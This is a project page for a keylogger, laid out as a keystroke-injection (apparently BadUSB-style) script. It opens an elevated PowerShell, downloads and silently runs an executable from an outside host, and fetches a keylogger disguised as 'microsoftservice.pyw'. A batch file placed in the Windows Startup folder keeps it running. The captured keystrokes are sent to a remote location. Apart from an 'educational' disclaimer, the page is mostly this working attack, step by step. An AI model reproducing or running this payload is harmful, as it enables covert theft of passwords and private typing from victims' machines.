Project Details: Key Logger

Key Logger

The Key Logger project involves a script that sets up a key logger on the target machine, capturing all keystrokes and sending them to a specified location. This project is intended for educational and testing purposes only.

Features:

Technologies Used:

Video Demo:

Instructions:

To use the Key Logger script, follow these steps:

  1. Download the script from the link below.
  2. Run the script on your machine using PowerShell.
  3. Ensure your machine has an active internet connection for sending the captured data.

Script Steps:

This script performs the following actions step by step:

  1. Open PowerShell with Administrator Privileges:
    DELAY 500
    GUI r
    DELAY 1000
    STRING powershell
    DELAY 500
    CTRL-SHIFT ENTER
    DELAY 3000
    LEFTARROW
    DELAY 1000
    ENTER
    This sequence opens the Run dialog, types "powershell," and runs it as an administrator.
  2. Download and Execute a Service Installer:
    STRING Invoke-WebRequest -Uri "https://www.ux1per.com/scripts/service.exe" -OutFile "$env:USERPROFILE\Downloads\service.exe"; Start-Process -FilePath "$env:USERPROFILE\Downloads\service.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1" -Wait -PassThru; exit
    DELAY 90000
    This command downloads a service installer executable and runs it quietly.
  3. Install Python Packages:
    GUI r
    DELAY 750
    STRING powershell
    ENTER
    DELAY 1000
    STRING pip install pynput 
    ENTER
    DELAY 10000
    STRING pip install requests
    ENTER
    DELAY 10000
    This sequence installs the Python packages `pynput` and `requests`.
  4. Download and Save the Keylogger Script:
    STRING powershell -Command "Invoke-WebRequest -Uri 'https://www.ux1per.com/scripts/microsoftservice.pyw' -OutFile '$env:USERPROFILE\Downloads\microsoftservice.pyw'"
    ENTER
    DELAY 3000
    This command downloads the keylogger script and saves it to the user's Downloads folder.
  5. Enable the Keylogger on Startup:
    STRING powershell -Command "Invoke-WebRequest -Uri 'https://www.ux1per.com/scripts/enable.bat' -OutFile '$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\enable.bat'"
    ENTER
    DELAY 3000
    This command downloads a batch file that enables the keylogger to run on startup and saves it in the startup folder.
  6. Exit PowerShell:
    STRING exit
    DELAY 100
    ENTER
    This final command closes the PowerShell window.

Download Links:

Download Script